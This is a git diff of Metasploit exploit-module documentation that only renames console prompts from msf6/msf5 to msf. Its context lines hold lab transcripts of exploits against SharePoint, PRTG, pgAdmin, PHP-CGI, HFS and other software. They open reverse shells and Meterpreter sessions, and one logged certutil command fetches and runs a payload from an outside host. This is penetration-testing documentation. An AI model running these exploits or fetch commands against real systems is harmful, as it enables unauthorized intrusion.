172.16.57.1 +msf exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > set lhost 172.16.57.1 lhost => 172.16.57.1 -msf6 exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > run +msf exploit(windows/http/manageengine_servicedesk_plus_cve_2021_44077) > run [*] Started reverse TCP handler on 172.16.57.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md b/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md index c1d1a2d9152a1..1959526401b48 100644 --- a/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md +++ b/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md @@ -43,7 +43,7 @@ https://www.ipswitch.com/forms/free-trials/moveit-transfer ## Scenarios ### Using MOVEit 15.0.0.3 on Windows Server 2022 21H2 ```msf -msf6 exploit(windows/http/moveit_cve_2023_34362) > show options +msf exploit(windows/http/moveit_cve_2023_34362) > show options Module options (exploit/windows/http/moveit_cve_2023_34362): @@ -87,7 +87,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/moveit_cve_2023_34362) > run +msf exploit(windows/http/moveit_cve_2023_34362) > run [*] Started reverse TCP handler on 10.5.135.201:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/netgear_nms_rce.md b/documentation/modules/exploit/windows/http/netgear_nms_rce.md index 50d3cdd46a8ba..8abe1cde08cd1 100644 --- a/documentation/modules/exploit/windows/http/netgear_nms_rce.md +++ b/documentation/modules/exploit/windows/http/netgear_nms_rce.md @@ -30,13 +30,13 @@ After these steps the ProSAFE NMS web panel will be exposed on the `http://local ## Scenarios ``` -msf6 > use exploit/windows/http/netgear_nms_rce +msf > use exploit/windows/http/netgear_nms_rce [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(windows/http/netgear_nms_rce) > set rhosts 192.168.56.104 +msf exploit(windows/http/netgear_nms_rce) > set rhosts 192.168.56.104 rhosts => 192.168.56.104 -msf6 exploit(windows/http/netgear_nms_rce) > set lhost 192.168.56.1 +msf exploit(windows/http/netgear_nms_rce) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(windows/http/netgear_nms_rce) > run +msf exploit(windows/http/netgear_nms_rce) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] 192.168.56.104:8080 - Uploading payload... diff --git a/documentation/modules/exploit/windows/http/netmotion_mobility_mvcutil_deserialization.md b/documentation/modules/exploit/windows/http/netmotion_mobility_mvcutil_deserialization.md index ca8c0c8891c83..b80f8f36c893e 100644 --- a/documentation/modules/exploit/windows/http/netmotion_mobility_mvcutil_deserialization.md +++ b/documentation/modules/exploit/windows/http/netmotion_mobility_mvcutil_deserialization.md @@ -32,9 +32,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### NetMotion Mobility 12.01.09045 on Windows Server 2016 ``` -msf6 > use exploit/windows/http/netmotion_mobility_mvcutil_deserialization +msf > use exploit/windows/http/netmotion_mobility_mvcutil_deserialization [*] Using configured payload windows/x64/meterpreter/reverse_https -msf6 exploit(windows/http/netmotion_mobility_mvcutil_deserialization) > options +msf exploit(windows/http/netmotion_mobility_mvcutil_deserialization) > options Module options (exploit/windows/http/netmotion_mobility_mvcutil_deserialization): @@ -69,11 +69,11 @@ Exploit target: 2 PowerShell Stager -msf6 exploit(windows/http/netmotion_mobility_mvcutil_deserialization) > set rhosts 172.16.57.3 +msf exploit(windows/http/netmotion_mobility_mvcutil_deserialization) > set rhosts 172.16.57.3 rhosts => 172.16.57.3 -msf6 exploit(windows/http/netmotion_mobility_mvcutil_deserialization) > set lhost 172.16.57.1 +msf exploit(windows/http/netmotion_mobility_mvcutil_deserialization) > set lhost 172.16.57.1 lhost => 172.16.57.1 -msf6 exploit(windows/http/netmotion_mobility_mvcutil_deserialization) > run +msf exploit(windows/http/netmotion_mobility_mvcutil_deserialization) > run [*] Started HTTPS reverse handler on https://172.16.57.1:8443 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/northstar_c2_xss_to_agent_rce.md b/documentation/modules/exploit/windows/http/northstar_c2_xss_to_agent_rce.md index 28b56b1729413..1ccd081a9beff 100644 --- a/documentation/modules/exploit/windows/http/northstar_c2_xss_to_agent_rce.md +++ b/documentation/modules/exploit/windows/http/northstar_c2_xss_to_agent_rce.md @@ -91,11 +91,11 @@ resource (northstar.rq)> set FETCH_SRVPORT 9090 FETCH_SRVPORT => 9090 resource (northstar.rq)> set FETCH_srvhost 3.3.3.3 FETCH_srvhost => 3.3.3.3 -msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > exploit +msf exploit(windows/http/northstar_c2_xss_to_agent_rce) > exploit [*] Command to run on remote host: certutil -urlcache -f http://3.3.3.3:9090/p3icRkNmQwbsIs7RYzV5sA %TEMP%\tKvCAnUBZgfn.exe & start /B %TEMP%\tKvCAnUBZgfn.exe [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > +msf exploit(windows/http/northstar_c2_xss_to_agent_rce) > [*] Fetch handler listening on 3.3.3.3:9090 [*] HTTP server started [*] Adding resource /p3icRkNmQwbsIs7RYzV5sA @@ -150,7 +150,7 @@ Now visit the site with a logged in user, and browse to the Server Logs page. [*] Sending payload to 222.222.22.222 (CertUtil URL Agent) [*] Sending stage (201798 bytes) to 222.222.22.222 [*] Meterpreter session 1 opened (3.3.3.3:4444 -> 222.222.22.222:50116) at 2024-04-10 14:40:31 +0000 -msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > sessions -i 1 +msf exploit(windows/http/northstar_c2_xss_to_agent_rce) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : DESKTOP-Q0HUOEI diff --git a/documentation/modules/exploit/windows/http/nscp_authenticated_rce.md b/documentation/modules/exploit/windows/http/nscp_authenticated_rce.md index 15969a512b4b6..050f1a8f85d96 100644 --- a/documentation/modules/exploit/windows/http/nscp_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/nscp_authenticated_rce.md @@ -35,13 +35,13 @@ This module was successfully tested on Windows 10 Home (you may need to disable See the following output : ``` -msf6 > use nscp_authenticated_rce +msf > use nscp_authenticated_rce [*] Using configured payload windows/x64/shell_reverse_tcp -msf6 exploit(nscp_authenticated_rce) > set RHOST x.x.x.x +msf exploit(nscp_authenticated_rce) > set RHOST x.x.x.x RHOST => x.x.x.x -msf6 exploit(nscp_authenticated_rce) > set password easypassword +msf exploit(nscp_authenticated_rce) > set password easypassword password => easypassword -msf6 exploit(nscp_authenticated_rce) > exploit +msf exploit(nscp_authenticated_rce) > exploit [*] Started reverse TCP handler on y.y.y.y:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/oats_weblogic_console.md b/documentation/modules/exploit/windows/http/oats_weblogic_console.md index 38cdce0a6b0d1..0718232620eb1 100644 --- a/documentation/modules/exploit/windows/http/oats_weblogic_console.md +++ b/documentation/modules/exploit/windows/http/oats_weblogic_console.md @@ -30,9 +30,9 @@ credentials, decrypt them using a third-party tool, and then use this module to ## Scenarios ``` -msf5 exploit(windows/http/oats_weblogic_console) > check +msf exploit(windows/http/oats_weblogic_console) > check [*] 172.16.135.128:8088 - The target service is running, but could not be validated. -msf5 exploit(windows/http/oats_weblogic_console) > run +msf exploit(windows/http/oats_weblogic_console) > run [*] Started reverse TCP handler on 172.16.135.1:4444 [+] Logged in as oats:VeryPhat1337 diff --git a/documentation/modules/exploit/windows/http/pgadmin_binary_path_api.md b/documentation/modules/exploit/windows/http/pgadmin_binary_path_api.md index 82fbda27642bc..321f462cc0a97 100644 --- a/documentation/modules/exploit/windows/http/pgadmin_binary_path_api.md +++ b/documentation/modules/exploit/windows/http/pgadmin_binary_path_api.md @@ -38,15 +38,15 @@ Specific demo of using the module that might be useful in a real world scenario. ### pgAdmin 8.4 on Windows (Authenticated) ``` -msf6 exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.5 +msf exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.5 RHOSTS => 192.168.1.5 -msf6 exploit(windows/http/pgadmin_binary_path_api) > set USERNAME test@test.com +msf exploit(windows/http/pgadmin_binary_path_api) > set USERNAME test@test.com USERNAME => test@test.com -msf6 exploit(windows/http/pgadmin_binary_path_api) > set PASSWORD 123456 +msf exploit(windows/http/pgadmin_binary_path_api) > set PASSWORD 123456 PASSWORD => 123456 -msf6 exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6 +msf exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6 LHOST => 192.168.1.6 -msf6 exploit(windows/http/pgadmin_binary_path_api) > exploit +msf exploit(windows/http/pgadmin_binary_path_api) > exploit [*] Started reverse TCP handler on 192.168.1.6:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -72,11 +72,11 @@ meterpreter > ### pgAdmin 8.4 on Windows (Unauthenticated) ``` -msf6 exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.7 +msf exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.7 RHOSTS => 192.168.1.7 -msf6 exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6 +msf exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6 LHOST => 192.168.1.6 -msf6 exploit(windows/http/pgadmin_binary_path_api) > exploit +msf exploit(windows/http/pgadmin_binary_path_api) > exploit [*] Started reverse TCP handler on 192.168.1.6:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.md b/documentation/modules/exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.md index fe1e1cf73450e..b4b23ac4f85a7 100644 --- a/documentation/modules/exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.md +++ b/documentation/modules/exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.md @@ -64,17 +64,17 @@ as they execute in-memory. ### Windows PHP ``` -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set RHOSTS 192.168.86.50 +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set RHOSTS 192.168.86.50 RHOSTS => 192.168.86.50 -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > check +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > check [+] 192.168.86.50:80 - The target is vulnerable. Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set target 0 +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set target 0 target => 0 -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set payload php/meterpreter/reverse_tcp +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set LHOST eth0 +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set LHOST eth0 LHOST => eth0 -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > show options +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > show options Module options (exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577): @@ -106,9 +106,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > check +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > check [+] 192.168.86.50:80 - The target is vulnerable. Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > exploit +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -130,11 +130,11 @@ meterpreter > ### Windows Command ``` -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set target 1 +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set target 1 target => 1 -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp payload => cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > show options +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > show options Module options (exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577): @@ -174,9 +174,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > check +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > check [+] 192.168.86.50:80 - The target is vulnerable. Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 -msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > exploit +msf exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/plesk_mylittleadmin_viewstate.md b/documentation/modules/exploit/windows/http/plesk_mylittleadmin_viewstate.md index a0a4fa6527b84..0bcc5b121e52e 100644 --- a/documentation/modules/exploit/windows/http/plesk_mylittleadmin_viewstate.md +++ b/documentation/modules/exploit/windows/http/plesk_mylittleadmin_viewstate.md @@ -56,8 +56,8 @@ set to port **8401** by default for Plesk installations. ### myLittleAdmin 3.8 on Plesk Obsidian on Windows Server 2016 ``` -msf5 > use exploit/windows/http/plesk_mylittleadmin_viewstate -msf5 exploit(windows/http/plesk_mylittleadmin_viewstate) > options +msf > use exploit/windows/http/plesk_mylittleadmin_viewstate +msf exploit(windows/http/plesk_mylittleadmin_viewstate) > options Module options (exploit/windows/http/plesk_mylittleadmin_viewstate): @@ -91,11 +91,11 @@ Exploit target: 2 PowerShell Stager -msf5 exploit(windows/http/plesk_mylittleadmin_viewstate) > set rhosts 172.16.249.169 +msf exploit(windows/http/plesk_mylittleadmin_viewstate) > set rhosts 172.16.249.169 rhosts => 172.16.249.169 -msf5 exploit(windows/http/plesk_mylittleadmin_viewstate) > set lhost 172.16.249.1 +msf exploit(windows/http/plesk_mylittleadmin_viewstate) > set lhost 172.16.249.1 lhost => 172.16.249.1 -msf5 exploit(windows/http/plesk_mylittleadmin_viewstate) > run +msf exploit(windows/http/plesk_mylittleadmin_viewstate) > run [*] Started reverse TCP handler on 172.16.249.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/plex_unpickle_dict_rce.md b/documentation/modules/exploit/windows/http/plex_unpickle_dict_rce.md index 1975c49b8f84a..9b11f2e7db616 100644 --- a/documentation/modules/exploit/windows/http/plex_unpickle_dict_rce.md +++ b/documentation/modules/exploit/windows/http/plex_unpickle_dict_rce.md @@ -113,7 +113,7 @@ Amount of seconds to sleep waiting on the server to reboot. In testing `10` see PLEX_TOKEN => aa1g1aa3aaHbAtPBsEG7 resource (plex.rb)> set verbose true verbose => true - msf5 exploit(windows/http/plex_unpickle_dict_rce) > exploit + msf exploit(windows/http/plex_unpickle_dict_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Gathering Plex Config diff --git a/documentation/modules/exploit/windows/http/prtg_authenticated_rce.md b/documentation/modules/exploit/windows/http/prtg_authenticated_rce.md index d1cc583fa30b9..7a6aa5de1aa12 100644 --- a/documentation/modules/exploit/windows/http/prtg_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/prtg_authenticated_rce.md @@ -58,19 +58,19 @@ Setting `VERBOSE` to `true` displays the raw Powershell payload in console for m Checking if a target is vulnerable based on the version in use : ``` -msf6 > use exploit/windows/http/prtg_authenticated_rce +msf > use exploit/windows/http/prtg_authenticated_rce [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/http/prtg_authenticated_rce) > set RHOST x.x.x.x +msf exploit(windows/http/prtg_authenticated_rce) > set RHOST x.x.x.x RHOST => x.x.x.x -msf6 exploit(windows/http/prtg_authenticated_rce) > set LHOST y.y.y.y +msf exploit(windows/http/prtg_authenticated_rce) > set LHOST y.y.y.y LHOST => y.y.y.y -msf6 exploit(windows/http/prtg_authenticated_rce) > set ADMIN_USERNAME prtgadmin +msf exploit(windows/http/prtg_authenticated_rce) > set ADMIN_USERNAME prtgadmin ADMIN_USERNAME => prtgadmin -msf6 exploit(windows/http/prtg_authenticated_rce) > set ADMIN_PASSWORD prtgadmin +msf exploit(windows/http/prtg_authenticated_rce) > set ADMIN_PASSWORD prtgadmin ADMIN_PASSWORD => prtgadmin -msf6 exploit(windows/http/prtg_authenticated_rce) > set VERBOSE true +msf exploit(windows/http/prtg_authenticated_rce) > set VERBOSE true VERBOSE => true -msf6 exploit(windows/http/prtg_authenticated_rce) > check +msf exploit(windows/http/prtg_authenticated_rce) > check [*] Identified PRTG Network Monitor Version 18.1.37.13946 [*] x.x.x.x:80 - The target appears to be vulnerable. @@ -79,17 +79,17 @@ msf6 exploit(windows/http/prtg_authenticated_rce) > check Getting a shell on PRTG Network Monitor using a sufficiently privileged account credentials : ``` -msf6 > use exploit/windows/http/prtg_authenticated_rce +msf > use exploit/windows/http/prtg_authenticated_rce [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/http/prtg_authenticated_rce) > set RHOST x.x.x.x +msf exploit(windows/http/prtg_authenticated_rce) > set RHOST x.x.x.x RHOST => x.x.x.x -msf6 exploit(windows/http/prtg_authenticated_rce) > set LHOST y.y.y.y +msf exploit(windows/http/prtg_authenticated_rce) > set LHOST y.y.y.y LHOST => y.y.y.y -msf6 exploit(windows/http/prtg_authenticated_rce) > set ADMIN_USERNAME prtgadmin +msf exploit(windows/http/prtg_authenticated_rce) > set ADMIN_USERNAME prtgadmin ADMIN_USERNAME => prtgadmin -msf6 exploit(windows/http/prtg_authenticated_rce) > set ADMIN_PASSWORD prtgadmin +msf exploit(windows/http/prtg_authenticated_rce) > set ADMIN_PASSWORD prtgadmin ADMIN_PASSWORD => prtgadmin -msf6 exploit(windows/http/prtg_authenticated_rce) > run +msf exploit(windows/http/prtg_authenticated_rce) > run [*] Started reverse TCP handler on y.y.y.y:4444 [+] Successfully logged in with provided credentials diff --git a/documentation/modules/exploit/windows/http/prtg_authenticated_rce_cve_2023_32781.md b/documentation/modules/exploit/windows/http/prtg_authenticated_rce_cve_2023_32781.md index a910b2196da2b..9afb99a7e1981 100644 --- a/documentation/modules/exploit/windows/http/prtg_authenticated_rce_cve_2023_32781.md +++ b/documentation/modules/exploit/windows/http/prtg_authenticated_rce_cve_2023_32781.md @@ -25,18 +25,18 @@ PRTG provides a trial version for free (https://www.paessler.com/prtg/download) ``` use exploit/windows/http/prtg_authenticated_rce_cve_2023_32781 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set RHOSTS 127.0.0.1 +msf exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set RPORT 13380 +msf exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set RPORT 13380 RPORT => 13380 -msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set SRVHOST 192.168.56.1 +msf exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set SRVHOST 192.168.56.1 SRVHOST => 192.168.56.1 -msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set SRVPORT 10106 +msf exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set SRVPORT 10106 SRVPORT => 10106 -msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set LPORT 4446 +msf exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set LPORT 4446 LPORT => 4445 -msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set LHOST 192.168.56.1 -msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > exploit +msf exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set LHOST 192.168.56.1 +msf exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > exploit ``` `RHOSTS` refers to the PRTG host @@ -64,20 +64,20 @@ The password associated with the specified username. Running the payload and getting a meterpreter session and then spawning a shell as `nt authority\system` ```bash -msf6 > use exploit/development/cve_2023_32781 +msf > use exploit/development/cve_2023_32781 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(development/cve_2023_32781) > set RHOSTS 127.0.0.1 +msf exploit(development/cve_2023_32781) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(development/cve_2023_32781) > set RPORT 13380 +msf exploit(development/cve_2023_32781) > set RPORT 13380 RPORT => 13380 -msf6 exploit(development/cve_2023_32781) > set SRVHOST 192.168.56.1 +msf exploit(development/cve_2023_32781) > set SRVHOST 192.168.56.1 SRVHOST => 192.168.56.1 -msf6 exploit(development/cve_2023_32781) > set SRVPORT 10106 +msf exploit(development/cve_2023_32781) > set SRVPORT 10106 SRVPORT => 10106 -msf6 exploit(development/cve_2023_32781) > set LPORT 4446 +msf exploit(development/cve_2023_32781) > set LPORT 4446 LPORT => 4445 -msf6 exploit(development/cve_2023_32781) > set LHOST 192.168.56.1 -msf6 exploit(development/cve_2023_32781) > exploit +msf exploit(development/cve_2023_32781) > set LHOST 192.168.56.1 +msf exploit(development/cve_2023_32781) > exploit [*] Started reverse TCP handler on 192.168.56.1:4446 [*] Using URL: http://192.168.56.1:10105/sF321hmEZCz diff --git a/documentation/modules/exploit/windows/http/rejetto_hfs_rce_cve_2024_23692.md b/documentation/modules/exploit/windows/http/rejetto_hfs_rce_cve_2024_23692.md index 9044f2d8d2b77..744450d985b9b 100644 --- a/documentation/modules/exploit/windows/http/rejetto_hfs_rce_cve_2024_23692.md +++ b/documentation/modules/exploit/windows/http/rejetto_hfs_rce_cve_2024_23692.md @@ -31,17 +31,17 @@ Note: On Windows, disable Defender if you are using the default payloads. ### Automatic ``` -msf6 > use exploit/windows/http/rejetto_hfs_rce_cve_2024_23692 +msf > use exploit/windows/http/rejetto_hfs_rce_cve_2024_23692 [*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > set RHOSTS 192.168.86.35 +msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > set RHOSTS 192.168.86.35 RHOSTS => 192.168.86.35 -msf6 exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > set payload cmd/windows/http/x64/meterpreter_reverse_http +msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > set payload cmd/windows/http/x64/meterpreter_reverse_http payload => cmd/windows/http/x64/meterpreter_reverse_http -msf6 exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > set LHOST eth0 +msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > set LHOST eth0 LHOST => eth0 -msf6 exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > set LPORT 4444 +msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > set LPORT 4444 LPORT => 4444 -msf6 exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > show options +msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > show options Module options (exploit/windows/http/rejetto_hfs_rce_cve_2024_23692): @@ -84,9 +84,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > check +msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > check [+] 192.168.86.35:80 - The target is vulnerable. Rejetto HFS version 2.4.0 RC7 -msf6 exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > exploit +msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > exploit [*] Started HTTP reverse handler on http://192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/sharepoint_data_deserialization.md b/documentation/modules/exploit/windows/http/sharepoint_data_deserialization.md index ca8139c6598c1..df4feee66340c 100644 --- a/documentation/modules/exploit/windows/http/sharepoint_data_deserialization.md +++ b/documentation/modules/exploit/windows/http/sharepoint_data_deserialization.md @@ -46,28 +46,28 @@ Administration web interface **is not vulnerable**. To configure SharePoint to b ### SharePoint 2016 on Server 2016 ``` -msf5 > use exploit/windows/http/sharepoint_data_deserialization +msf > use exploit/windows/http/sharepoint_data_deserialization [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf5 exploit(windows/http/sharepoint_data_deserialization) > set RHOSTS 192.168.63.168 +msf exploit(windows/http/sharepoint_data_deserialization) > set RHOSTS 192.168.63.168 RHOSTS => 192.168.63.168 -msf5 exploit(windows/http/sharepoint_data_deserialization) > set RPORT 80 +msf exploit(windows/http/sharepoint_data_deserialization) > set RPORT 80 RPORT => 80 -msf5 exploit(windows/http/sharepoint_data_deserialization) > set SSL false +msf exploit(windows/http/sharepoint_data_deserialization) > set SSL false [!] Changing the SSL option's value may require changing RPORT! SSL => false -msf5 exploit(windows/http/sharepoint_data_deserialization) > set VHOST ec2amaz-v2pri0v +msf exploit(windows/http/sharepoint_data_deserialization) > set VHOST ec2amaz-v2pri0v VHOST => ec2amaz-v2pri0v -msf5 exploit(windows/http/sharepoint_data_deserialization) > set USERNAME smcintyre +msf exploit(windows/http/sharepoint_data_deserialization) > set USERNAME smcintyre USERNAME => smcintyre -msf5 exploit(windows/http/sharepoint_data_deserialization) > set PASSWORD Password1 +msf exploit(windows/http/sharepoint_data_deserialization) > set PASSWORD Password1 PASSWORD => Password1 -msf5 exploit(windows/http/sharepoint_data_deserialization) > set DOMAIN SHRPNT +msf exploit(windows/http/sharepoint_data_deserialization) > set DOMAIN SHRPNT DOMAIN => SHRPNT -msf5 exploit(windows/http/sharepoint_data_deserialization) > set PAYLOAD windows/meterpreter/bind_tcp +msf exploit(windows/http/sharepoint_data_deserialization) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp -msf5 exploit(windows/http/sharepoint_data_deserialization) > check +msf exploit(windows/http/sharepoint_data_deserialization) > check [*] 192.168.63.168:80 - The service is running, but could not be validated. Received the quicklinks HTML form. -msf5 exploit(windows/http/sharepoint_data_deserialization) > exploit +msf exploit(windows/http/sharepoint_data_deserialization) > exploit [*] Executing automatic check (disable AutoCheck to override) [!] The service is running, but could not be validated. Received the quicklinks HTML form. diff --git a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md index 27c79fb1e1dda..dc5d6d8839367 100644 --- a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md +++ b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md @@ -69,7 +69,7 @@ You should now have a vulnerable version of SharePoint 2019 installed. ## Scenarios ### SharePoint 2019 ``` -msf6 exploit(windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce) > rexploit +msf exploit(windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 172.16.199.1:4444 @@ -99,4 +99,4 @@ Domain : DOMAIN Logged On Users : 20 Meterpreter : x64/windows meterpreter > -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md b/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md index a037caa14cea7..845155ec21822 100644 --- a/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md +++ b/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md @@ -62,9 +62,9 @@ useful for form auth. ### SharePoint 2019 on Windows Server 2016 ``` -msf6 > use exploit/windows/http/sharepoint_ssi_viewstate +msf > use exploit/windows/http/sharepoint_ssi_viewstate [*] Using configured payload windows/x64/meterpreter/reverse_https -msf6 exploit(windows/http/sharepoint_ssi_viewstate) > options +msf exploit(windows/http/sharepoint_ssi_viewstate) > options Module options (exploit/windows/http/sharepoint_ssi_viewstate): @@ -103,15 +103,15 @@ Exploit target: 2 PowerShell Stager -msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set rhosts 192.168.123.237 +msf exploit(windows/http/sharepoint_ssi_viewstate) > set rhosts 192.168.123.237 rhosts => 192.168.123.237 -msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set httpusername Administrator +msf exploit(windows/http/sharepoint_ssi_viewstate) > set httpusername Administrator httpusername => Administrator -msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set httppassword Passw0rd! +msf exploit(windows/http/sharepoint_ssi_viewstate) > set httppassword Passw0rd! httppassword => Passw0rd! -msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set lhost 192.168.123.1 +msf exploit(windows/http/sharepoint_ssi_viewstate) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(windows/http/sharepoint_ssi_viewstate) 